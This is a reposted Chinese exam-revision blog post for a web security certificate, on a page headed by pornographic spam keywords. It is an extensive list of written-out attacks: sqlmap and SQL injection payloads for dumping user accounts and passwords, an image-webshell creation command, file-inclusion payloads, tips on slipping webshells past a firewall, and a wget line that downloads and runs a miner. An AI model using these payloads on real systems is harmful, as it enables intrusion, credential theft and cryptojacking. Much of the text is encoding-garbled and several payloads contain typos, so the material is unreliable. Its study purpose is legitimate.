日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 >

web考证php实体,CISAW-Web基础级考证——考前复习知识点大杂烩

發(fā)布時間:2024/1/1 82 豆豆
生活随笔 收集整理的這篇文章主要介紹了 web考证php实体,CISAW-Web基础级考证——考前复习知识点大杂烩 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

當(dāng)你的才華

還撐不起你的野心時

那你就應(yīng)該靜下心來學(xué)習(xí)

明天要考CISAW-Web安全基礎(chǔ)級證書,復(fù)習(xí)整理一下思路,明天考試

目錄

sql注入時,使用sqlmap注入mysql和access數(shù)據(jù)庫有什么不同

sql注入

命令執(zhí)行:

xss:

csrf

xxe

ssrf

代碼審計:

php基本功:

python:

sql注入時,使用sqlmap注入mysql和access數(shù)據(jù)庫有什么不同

三個給分點:

1.命令

mysql:

sqlmap? ?-u? ?url? ?--dbs

sqlmap? ?-u? ?url? ?-D? ?數(shù)據(jù)庫名? ?--tables

sqlmap? ?-u? ?url? ?-D? ?數(shù)據(jù)庫名? ?-T? 表名? ?--columns

sqlmap? ?-u? ?url? ?-D? ?數(shù)據(jù)庫名? ?-T? 表名? ?-C 字段名? ?--dump

2. access:

sqlmap -u? ?url? ?--tables

sqlmap -u? ?url? ?--columns? ?-T 表名

sqlmap -u? ?url? ?-T? 表名? ? ? -C 字段名? ? --dump

3. 說出sqlmap為什么注入access沒有dbs

Access 每個數(shù)據(jù)就是個單獨文件,每個Access 只有表結(jié)構(gòu)

圖片馬的制作:

寫出命令即可

/a

ASCIl文本文件(默認(rèn)

/b

二進制文件復(fù)制——將復(fù)制擴展字符

windows

copy 1.jpg /b + 2.php /a? hack.jpg

linux

cp 1.jpg /b + 2.php /a hack.jpg

sql注入

1.union

# 判斷是否存在注入

?id=1'

# 判斷該注入點的長度是多少

?id=1' order by * --+

# 確認(rèn)長度為*后(長度為3),獲取系統(tǒng)信息(分別使用 user()、database()、version(),來進行查詢)

?id=1' union select 1,2,version() --+

# 爆表

?id=1' union select 1,2,table_name from information_schema.tables

where table_schema='數(shù)據(jù)庫名' limit 0,1 --+

# 爆字段

id=1' union select 1,2,table_column from information_schema.columns

where table_schema='數(shù)據(jù)庫名' and table_name='表名' limit 0,1 --+

# 爆賬號和密碼

?id=1' union select 1,username,password from users limit 0,1 --+

? Booleanbase(普通盲注)

? Timebase(時間盲注)

? Errorbase(基于報錯的盲注)。

至于具體分別,我們在后面的試驗中會學(xué)習(xí)到。 首先我們要知道在盲注中經(jīng)常用到的一些方式:

? left(database(),1) 返回 database()的最左面 1 個字符

? length(databse()) 返回數(shù)據(jù)庫的長度

? substr(a,b,c) 從 b 位置開始,截取字符串 a 的 c 長度

? ascii() 將某個字符轉(zhuǎn)換為 ascii 值

? mid(a,b,c)從位置 b 開始,截取 a 字符串的 c 位

# 盲注猜解系統(tǒng)版本號左邊開頭信息

?id=1' and left(version(),1)=5 --+

# 盲注猜解系統(tǒng)版本長度

?id=1' and length(version())=* --+

# 盲注猜解數(shù)據(jù)庫版本信息內(nèi)容

?id=1' and left(version,1) > '*' --+

# 盲注猜解數(shù)據(jù)庫的表的名稱

?id=1' and ascii(substr((select table_name from information_schema.

tables where table_shcema=database() limit 0,1),1,1)) > 100 --+

# 盲注猜解數(shù)據(jù)庫表的列名

id=1' and ascii(substr((select table_column from information_schema

columns where table_shcema='數(shù)據(jù)庫名' and table_name='表名'

limit 0,1),1,1)) > 99 --+

# 盲注猜解列名的內(nèi)容

# 0x20 可以作為整型常量和單字節(jié)表示,在這里作為單字節(jié)表示,可用于字符型變量的賦值,用于char時,其代表ascii碼值0x20,即字符空格''

?id=1' and 1=(select ifnull(cast(username as char),0x20) from

數(shù)據(jù)庫名.表名 order by id limi 0,1),1,)) = 68 --+

# 判斷數(shù)據(jù)庫

?id=1' and 1=(select 1 from information_schema.columns where

table_name='表名' and column_name regexp '^username' limit 0,1) > 97 --+

2.bool

# 判斷,同理表名字,段名

?id=1' and length(version())=8 --+

# 爆庫名

?id=1' and left((select database()),8)='security'--+

# 爆表,爆字段,爆值

3.報錯(extractvalue()函數(shù) / updatexml()函數(shù) / floor()函數(shù))

MySQL 5.1.5版本中添加了對XML文檔進行查詢和修改的函數(shù),分別是ExtractValue()和UpdateXML()

注:updatexml注入

首先了解下updatexml()函數(shù)

UPDATEXML (XML_document, XPath_string, new_value);

第一個參數(shù):XML_document是String格式,為XML文檔對象的名稱,文中為Doc

第二個參數(shù):XPath_string (Xpath格式的字符串) ,如果不了解Xpath語法,可以在網(wǎng)上查找教程。

第三個參數(shù):new_value,String格式,替換查找到的符合條件的數(shù)據(jù)

作用:改變文檔中符合條件的節(jié)點的值

4.time(sleep() / benchmark)

# 判斷是否存在延時注入

?id=1' and sleep(3) --+

# 判斷數(shù)據(jù)庫長度是否為4,如果為真則延時3秒加載也沒,為false則返回1

?id=1' and if(length(database())=4,sleep(3),1) --+

# 猜解數(shù)據(jù)庫名稱

?id=1' and if(left(database(),1)='d',sleep(3),1)--+

# 猜解表名

?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' , sleep(3), 1) --+

# 猜解密碼字段

?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password', sleep(3), 1) --+

# 猜解賬號字段

?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 9,1),8)='username', sleep(3), 1) --+

# 猜解密碼字段內(nèi)容

?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' , sleep(3), 1) --+

# 猜解賬號字段內(nèi)容

?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb' , sleep(3), 1) --+

數(shù)據(jù)庫

1.mysql(information_schema)

2.mssql(注入靠比大小)

3.access(沒有庫結(jié)構(gòu),只有表列)

注入點:

1.int

2.string

文件上傳:

1. 木馬

大馬/小馬

??大馬(功能多,代碼量大)

??小馬(功能單一,一行解決)

什么情況下用小馬?什么情況下用大馬?什么時候用過狗馬?

??過狗小馬:冰蝎小馬

?過狗大馬:過狗大馬

答:遇到安全狗,直接上大馬。原因是菜刀流量特征明顯,而大馬是正常文件正常訪問。小馬需要菜刀連接,而大馬不需要

2.上傳點

?頭像

?文件管理

?附件管理

3.上傳繞過

前端驗證

禁用js

類型檢測

mime

后綴名檢測

各種截斷

頭檢測

冰蝎圖片木馬

圖片二次渲染

上傳普通圖片,判斷渲染前和渲染后不變的位置

文件包含

遠(yuǎn)程文件包含(allow_url_include)

包含http路徑,引入webshell

本地文件

包含本地敏感文件(/etc/passwd,config.ini)

偽協(xié)議

php://input? ? ?輸入/輸出流

php://input

php://filter? ? ? PHP 歸檔

?file=zip://[壓縮文件絕對路徑]#[壓縮文件內(nèi)的子文件名] zip://xxx.png#shell.php

file://? ? ? ? ? ? ? 訪問本地文件系統(tǒng)

file://etc/passwd

phar://? ? ? ? ? ??PHP 歸檔(php解壓縮包的一個函數(shù),不管后綴是什么,都會當(dāng)做壓縮包來解壓)

用法:?file=phar://壓縮包/內(nèi)部文件 phar://xxx.png/shell.php

zip://? ? ? ? ? ? ?跟phar 類似,但用法不太一樣

?file=zip://[壓縮文件絕對路徑]#[壓縮文件內(nèi)的子文件名] zip://xxx.png#shell.php

命令執(zhí)行:

危險函數(shù)(exec/system/shell_exec/popen/passthru)

代碼執(zhí)行:

危險函數(shù)(eval/assert/preg_replace /e參數(shù))

反序列化:

原理:

構(gòu)造函數(shù)__construct

析構(gòu)函數(shù)__distruct

__sleep

__weekup

定義的類中的方法在serialize/unserialize時候引用方法,導(dǎo)致(變量覆蓋,傳入惡意代碼)進而危害系統(tǒng)安全

xss:

xss本質(zhì)是惡意的js代碼插入到前端頁面中執(zhí)行

類型:

1.反射型

危害小,一次性,常用作釣魚

2.存儲型

危害大,持久型(常常存在數(shù)據(jù)庫中),常用來打cookie或截圖,getshell

3.dom型

新型xss,通常認(rèn)為是反射型,出現(xiàn)在各種事件處,最新研究可以是持久型

csrf

通常和xss連用,不獲取cookie,而是通過誘導(dǎo)點擊/ajax偽造發(fā)包等方式發(fā)起偽造請求

xxe

xml外部實體注入,可以引入外部實體實現(xiàn)讀取本地敏感文件

ssrf

服務(wù)器端請求偽造

文件包含(include url)

命令執(zhí)行(wget url)

危害:

可以控制服務(wù)器掃描內(nèi)網(wǎng)

可以控制服務(wù)器下載挖礦(wget http://xxxxx/qwer;chmod a+x qwer;./qwer)

代碼審計:

思路:

1.危險函數(shù)里邊的可控變量

2.外部接受的變量傳遞流程

3.單個模塊功能審計

php基本功:

函數(shù)(過濾,執(zhí)行,string調(diào)整,匹配對比)

python:

變量

四則運算

邏輯控制(if else)

循環(huán)(for while)

函數(shù)

庫(豐富的庫,requests/bs4/urllib2,os/sys,xls,math,iso)

我不需要自由,只想背著她的夢

一步步向前走,她給的永遠(yuǎn)不重

總結(jié)

以上是生活随笔為你收集整理的web考证php实体,CISAW-Web基础级考证——考前复习知识点大杂烩的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。